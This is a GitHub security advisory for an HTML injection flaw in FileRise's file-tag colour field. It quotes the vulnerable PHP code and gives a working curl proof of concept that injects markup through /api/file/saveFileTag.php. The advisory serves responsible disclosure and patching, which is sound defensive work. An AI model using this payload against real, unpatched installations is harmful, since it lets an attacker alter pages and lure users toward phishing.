Skip to content

HTML Injection using color property in file tags

Moderate
error311 published GHSA-h8fw-42v6-gfhv Feb 8, 2026

Package

composer error311/FileRise (Composer)

Affected versions

<= 3.2.3

Patched versions

3.3.0

Description

Summary

An HTML Injection vulnerability allows an authenticated user to modify the DOM and add e.g. form elements that call certain endpoints or link elements that redirect the user on active interaction. Furthermore the possiblity of XSS using this vulnerability exists, but could not be verified.

Details

The color attribute of the submitted tag does not get verified. It gets extracted as it is and passed directly into the saveFileTag function of the FileModel.

$tags = $data['tags'] ?? [];
$deleteGlobal = !empty($data['deleteGlobal']);
$tagToDelete = isset($data['tagToDelete']) ? trim((string)$data['tagToDelete']) : null;
if ($file === '' || !$this->_validFile($file)) {
$this->_jsonOut(["error" => "Invalid file."], 400);
return;
}
if (!$this->_validFolder($folder)) {
$this->_jsonOut(["error" => "Invalid folder name."], 400);
return;
}
$username = $_SESSION['username'] ?? '';
$userPermissions = $this->loadPerms($username);
// Need write (or ancestor-owner)
if (!(ACL::canWrite($username, $userPermissions, $folder) || $this->ownsFolderOrAncestor($folder, $username, $userPermissions))) {
$this->_jsonOut(["error" => "Forbidden: no full write access"], 403);
return;
}
// Folder scope: write
$dv = $this->enforceFolderScope($folder, $username, $userPermissions, 'write');
if ($dv) {
$this->_jsonOut(["error" => $dv], 403);
return;
}
// Ownership unless admin/folder-owner
$ignoreOwnership = $this->isAdmin($userPermissions)
|| ($userPermissions['bypassOwnership'] ?? (defined('DEFAULT_BYPASS_OWNERSHIP') ? DEFAULT_BYPASS_OWNERSHIP : false))
|| ACL::isOwner($username, $userPermissions, $folder)
|| $this->ownsFolderOrAncestor($folder, $username, $userPermissions);
if (!$ignoreOwnership) {
$meta = $this->loadFolderMetadata($folder);
if (!isset($meta[$file]['uploader']) || strcasecmp((string)$meta[$file]['uploader'], $username) !== 0) {
$this->_jsonOut(["error" => "Forbidden: you are not the owner of this file."], 403);
return;
}
}
$result = FileModel::saveFileTag($folder, $file, $tags, $deleteGlobal, $tagToDelete);

$metadata[$file]['tags'] = $tags;

So using a crafted request to the /api/file/saveFileTag.php endpoint, a tag with a malicious color attribute can be added.

PoC

The docker image with the default configuration was used.

  1. Log in as any user.
  2. Create a file or choose a file.
  3. Fill variables in PoC script.
  4. Execute.
  5. Visit location of the file in FileRise.

PoC Script

BASE_URL=localhost:8080
CSRF_TOKEN=
PHPSESSID=

FOLDER=test
FILE=script.js

curl -X POST -H 'Content-Type: application/json' -H "X-CSRF-Token: $CSRF_TOKEN" -b "PHPSESSID=$PHPSESSID" --data-raw '{"folder":"'"$FOLDER"'","file":"'"$FILE"'","tags":[{"name":"PWND","color":"red\"><h1>PWND</h1><div style=\""}]}' http://$BASE_URL/api/file/saveFileTag.php
filerise_saveFileTag_2026-01-28_09-29 filerise_tag_result_2026-01-28_09-31

Impact

An attacker could use this vulnerability to get the user to visit a phishing website, trigger certain GET and POST endpoints on active interaction, hide files in the frontend and make the folder unusable.

Acknowledgements / Credits

Thanks to Marcel Graf (AWARE7 GmbH) (@ByteTyson) for responsible disclosure and verification of the fix.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L

CVE ID

CVE-2026-25230

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Improper Encoding or Escaping of Output

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved. Learn more on MITRE.

Credits